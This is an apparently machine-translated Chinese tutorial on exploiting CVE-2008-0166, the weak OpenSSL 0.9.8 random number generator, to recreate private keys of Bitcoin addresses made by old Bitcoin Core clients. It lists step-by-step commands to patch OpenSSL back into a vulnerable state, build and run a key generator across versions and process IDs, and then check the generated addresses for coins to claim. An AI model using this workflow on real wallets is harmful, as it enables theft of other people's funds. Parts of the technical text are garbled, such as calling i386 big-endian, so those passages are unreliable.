在本文中,我們將創建一個使用 CVE-2008-0166 漏洞生成比特幣地址 (P2PKH) 的工具。這是一個在早期版本的比特幣核心軟件客戶端上尋找比特幣的研究項目。
生成可預測 數字的隨機數生成器CVE -2008-0166
關鍵漏洞版本 OpenSSL 0.9.8
CVE-2008-0166 僅填充了進程 ID。由於字節順序和 sizeof(long) 之間的差異,輸出依賴於體系結構: 32位大端(例如 i386
)、 64位大端(例如 amd64, ia64
)、 32位大端(例如 powerpc 、斯巴克)。 PID 0
是核心,並且 PID_MAX
(32768)不是通過移植達到的,因此 每個架構有32767 個可能的隨機數流。
比特幣核心軟件客戶端使用 OpenSSL
. 具體來說,它使用一個函數 «EC_KEY_generate_key()»
來生成比特幣地址 (如密鑰) 以接收付款。舊版本的比特幣核心生成並存儲 100 個 密鑰 wallet.dat
只有在收到比特幣付款時才會生成新密鑰。因此,Bitcoin Core 軟件客戶端維護著一個包含 100 個 未使用的比特幣密鑰 (地址)的池。內部隨機數生成器的狀態取決於 OpenSSL
調用之前 'EC_KEY_generate_key()'
在庫中進行的其他調用。影響 RNG 內部狀態的挑戰: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
因此研究是通過大量舊的比特幣資源來找出在調用之前進行了哪些調用影響了 RNG 的內部狀態比特幣核心軟件 «EC_KEY_generate_key()».
客戶端版本之間的調用路徑變化
該研究重點關注以下版本:
(le32/le64)
我們的目標是使用來自關鍵漏洞的隨機數,為每個版本的比特幣核心軟件客戶端、每個架構、每個進程 ID 和比特幣地址 生成私鑰 (P2PKH)
。 OpenSSL 0.9.8.
最終,我們將創建一個比特幣地址生成器 (P2PKH)
並將所有內容保存到一個文件中 result.txt
使 OpenSSL 再次易受攻擊
為此,我們將使用 來自 Google Colab 的分發包“Ubuntu 18.04.5 LTS”
之前,我們錄製了 一個視頻教程: “Google Colab 中的 TERMINAL 創造了在 GITHUB 中工作的所有便利”
在終端[TerminalGoogleColab]中打開 Google Colab
讓我們運行命令:
cat /etc/lsb-release
讓我們轉到 “CryptoDeepTools”存儲庫 並查看詳細信息
git clone https://github.com/demining/CryptoDeepTools.git
cd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
更新並安裝 g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y
sudo apt-get install libgmp3-dev libmpfr-dev -y
為了 像CVE-2008-0166OpenSSL
一樣再次受到攻擊 ,下載openssl-0.9.8c.tar.gz並修補系統文件
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz
tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln
ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
在 LE-64 系統中我們使用:
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
讓我們回到 content/ 目錄
cd /
ls
cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh
彙編:
gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
比特幣核心軟件客戶端的所有受支持版本:
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
運行 cryptodeepbtcgen -n 32 -v 0:
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt
Google Drive
一切都將作為文本文件 保存在文件存儲中 result.txt
檢查私鑰!
接下來,檢查所有生成的比特幣地址是否存在 BTC 硬幣,為此我們可以使用 Python 腳本: bitcoin-checker.py
視頻素材: https: //youtu.be/zHkXups2I8k
來源: https ://cryptodeep.ru/vulnerable-openssl
https://www.youtube.com/embed/zHkXups2I8k